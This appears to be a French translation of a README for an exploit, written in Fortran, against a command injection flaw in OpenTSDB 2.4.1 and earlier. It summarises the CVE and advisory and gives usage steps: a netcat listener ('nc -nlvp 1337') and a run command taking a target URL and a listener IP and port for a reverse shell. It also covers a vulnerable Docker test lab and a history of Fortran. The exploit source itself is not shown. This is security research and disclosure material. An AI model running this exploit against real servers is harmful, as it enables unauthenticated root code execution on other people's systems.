opentsdb_key_cmd_injection

Un exploit pour OpenTSDB <= 2.4.1 injection de commande (CVE-2023-36812/CVE-2023-25826) écrit en Fortran

À propos

Ceci est un exploit pour une vulnérabilité d'injection de commande dans OpenTSDB versions 2.4.1 et antérieures (CVE-2023-36812/CVE-2023-25826). L'exploit est écrit en Fortran moderne et utilise la bibliothèque http-client officielle de Fortran créée plus tôt cette année.

Détails de la vulnérabilité

OpenTSDB est une base de données de séries temporelles open source écrite en Java. En 2020, une vulnérabilité d'injection de commande a été découverte dans les versions 2.4.0 et antérieures, pouvant être exploitée pour obtenir une exécution de code à distance sur l'hôte avec les privilèges root. OpenTSDB ne prenant pas en charge l'authentification, cette vulnérabilité, suivie sous la référence CVE-2020-35476, pouvait être exploitée par toute personne ayant accès à l'interface web d'OpenTSDB. Le problème a été corrigé dans la version 2.4.1.

Cette année, il a été découvert que le correctif de CVE-2020-35476 était incomplet, et l'injection de commande est toujours possible dans OpenTSDB 2.4.1 via plusieurs vecteurs.

Détails :

• Suivi sous : CVE-2023-36812. Il est à noter que CVE-2023-25826 semble décrire la même vulnérabilité, et les deux CVE renvoient au même correctif.
• Avis de sécurité : https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
• Crédit : Gal Goldstein et Daniel Abeles d'Oxeye
• Correctif : Le correctif sera introduit dans la version 2.4.2, qui n'est pas encore une version officielle. Au moment de la rédaction, la version la plus récente d'OpenTSDB est la 2.4.1, il est donc probable que la plupart des instances OpenTSDB en production soient vulnérables. Cela dit, la FAQ d'OpenTSDB souligne que ce projet « a été écrit pour un usage interne uniquement » et « n'a subi aucune revue de sécurité et n'inclut pas d'authentification. »

Pourquoi Fortran ?

Pour faire court, j'ai vu cette conversation :

L'idée d'écrire un exploit dans le langage de programmation utilisé pour envoyer des humains sur la Lune m'a tellement intrigué que j'ai dû l'explorer moi-même. Cet exploit est le résultat de cette expérience. À la question de savoir si cela a été un succès, je ne peux répondre qu'avec ces mots sages, mais maudits, qui lient tous les développeurs par le sang : Ça marche sur ma machine. ¯\(ツ)/¯

En tout cas, mes principaux enseignements de ce projet sont :

• Fortran est en réalité plutôt cool et étonnamment facile à apprendre.
• L'écosystème moderne de Fortran, y compris le gestionnaire de paquets fpm, montre un grand potentiel.
• Fortran est un langage fortement typé, et j'ai trouvé cela bénéfique car j'ai rencontré peu d'erreurs d'exécution désagréables.
• Les projets Fortran avec dépendances sont volumineux car fpm inclut directement le code source des dépendances dans votre projet. L'avantage est que cela évite la pollution du système.
• La prise en charge des bibliothèques est relativement limitée et chaotique par rapport aux langages modernes. Malheureusement, cela n'affecte pas seulement la bibliothèque http-client.
• Sans surprise, la documentation et les conseils de dépannage sont plus difficiles à trouver que pour la plupart des langages de programmation modernes, bien qu'il existe encore quelques articles utiles sur StackOverflow et des forums oubliés du début des années 2000.
• Les outils d'IA comme ChatGPT et GitHub Copilot sont des compagnons de codage encore moins fiables que pour les langages modernes.

Dans l'ensemble, il est difficile d'imaginer que ce langage gagne réellement en importance dans la sécurité offensive, ne serait-ce que parce qu'il existe tellement d'alternatives solides et modernes pour tous les cas d'utilisation imaginables (Python, Go, Rust, Ruby, C# pour n'en citer que quelques-uns). Mais si vous aimez expérimenter avec différents langages de programmation et que cela ne vous dérange pas d'encapsuler vos chaînes de caractères dans des appels trim() en permanence (VEUILLEZ NOTER CECI, VOUS ÉVITEREZ TANT DE SOUFFRANCES), Fortran vaut absolument le détour. Je suis sincèrement en train de soutenir ce langage maintenant et je pourrais y revenir s'ils continuent d'ajouter des fonctionnalités à la bibliothèque http-client, surtout s'ils ajoutent une bibliothèque http-server à un moment donné.

TL;DR : La bibliothèque Fortran http-client fait brr.

Utilisation

• Démarrez un écouteur sur votre système, par exemple :

nc -nlvp 1337

• Dans une fenêtre séparée, naviguez vers le répertoire opentsdb_key_cmd_injection

# cd /chemin/vers/opentsdb_key_cmd_injection/

• Exécutez le projet via fpm (assurez-vous de l'avoir installé d'abord. Voir les instructions d'installation dans la section suivante)

# /chemin/vers/fpm run -- -t <url_cible> -l <ip_locale> -p <port_local> [-v]

Options :

• -t - URL CIBLE : l'URL de base vers OpenTSDB (obligatoire)
• -l - LHOST : l'IP du système où vous exécutez un écouteur (obligatoire)
• -p - LPORT : le port de l'écouteur (obligatoire)
• -v - VERBOSE : activer l'affichage détaillé (optionnel)

Installation

• Installez gfortran. Sur les systèmes basés sur Debian, cela peut être fait via :

apt install gfortran

• Installez fpm. La manière la plus simple est de télécharger un binaire pour la dernière version stable depuis les versions de fpm sur GitHub, puis de le rendre exécutable :

chmod +x /<chemin>/vers/fpm

Assurez-vous d'avoir git installé sur votre système avant d'installer fpm.

Poc || GTFO

https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

Configuration d'une instance OpenTSDB pour les tests

Installation manuelle (non recommandée)

Pour une installation manuelle, vous pouvez suivre les instructions d'installation officielles ici. Cela peut toutefois être fastidieux, je recommande donc d'utiliser Docker à la place.

Installation Docker (recommandée)

Pour la version 2.4.0, vous pouvez utiliser l'image Docker vulnhub et suivre les instructions d'installation ici. Cette image a été créée pour CVE-2020-35476, une vulnérabilité plus ancienne dans OpenTSDB jusqu'à la version 2.4.0.

Pour la version 2.4.1 et probablement toute autre version, vous pouvez utiliser l'image vulhub pour OpenTSDB 2.4.0 et la modifier pour installer la version souhaitée. J'ai suivi cette approche pour la 2.4.1 et cela a très bien fonctionné.

• Tout d'abord, récupérez les fichiers Dockerfile et docker-entrypoint.sh d'OpenTSDB 2.4.0 de vulhub ici et stockez-les dans un répertoire dédié.
• Dans le Dockerfile, remplacez toutes les occurrences de 2.4.0 par la version souhaitée, par exemple 2.4.1
• Aucune modification n'est nécessaire pour docker-entrypoint.sh
• Créez un fichier docker-compose.yml avec le contenu suivant :

version: '2'
services:
 opentsdb:
   build: ./chemin-vers-votre-repertoire-dockerfile
   ports:
    - "4242:4242"

J'ai utilisé cette structure de fichiers :

wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file

./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep  1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep  1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml 
version: '2'
services:
 opentsdb:
   build: ./docker_file
   ports:
    - "4242:4242"

• Enfin, construisez et exécutez l'image via docker-compose en exécutant la commande ci-dessous dans le répertoire contenant votre fichier docker-compose.yml :

docker-compose up -d

• Après quelques secondes, OpenTSDB sera disponible sur le port 4242. Aucune configuration supplémentaire n'est nécessaire.

Brève histoire de Fortran (parce que pourquoi pas)

Fortran est surtout connu comme un langage archaïque qui a joué un rôle important dans l'histoire de l'informatique moderne, mais qui ne peut plus être considéré comme pertinent aujourd'hui. Il a été publié pour la première fois en 1957, précédant à la fois l'ARPANET et Unix de plus d'une décennie. D'après cette vidéo sur les séries temporelles, il était le langage de programmation dominant tout au long des années 1960 et 1970, et est resté parmi les 10 langages les plus populaires jusqu'à la fin des années 1990. Mais au moment de la sortie de Windows 98, il était clairement passé de mode, en faveur de langages plus modernes comme C, C++, Java et JavaScript, tous encore largement utilisés aujourd'hui.

Mis à part les âmes courageuses qui maintiennent des systèmes hérités, je doute que beaucoup de gens dans l'informatique (sans parler en dehors de notre bulle) aient rencontré Fortran au cours des deux dernières décennies, ou même sachent qu'il existe encore. Malgré cela, Fortran reste en développement actif. Comme indiqué sur le site officiel de Fortran, le langage a été révisé pour la dernière fois en 2018, et nous espérons voir une autre révision cette année (2023). En fait, il semble que la communauté Fortran ait été très active ces dernières années, lançant plusieurs projets majeurs pour moderniser l'écosystème, notamment :

• stdlib: la toute première bibliothèque standard Fortran (première version : 2021)
• fpm: un gestionnaire de paquets et système de construction moderne appelé fpm (première version alpha : 2020)
• http-client: la bibliothèque client HTTP précédemment référencée (première version : 2023).

Compte tenu de cela, il semble que les mainteneurs visent un certain retour de Fortran, ou du moins à donner au langage une chance de survivre encore quelques décennies. Même si le fan de Fortran le plus fervent ne s'attend probablement pas à revoir le langage dans le top 10 des langages de programmation les plus populaires, la modernisation continue du langage et de son écosystème a probablement rendu Fortran plus pertinent qu'il ne l'a été au cours des dix ou vingt dernières années.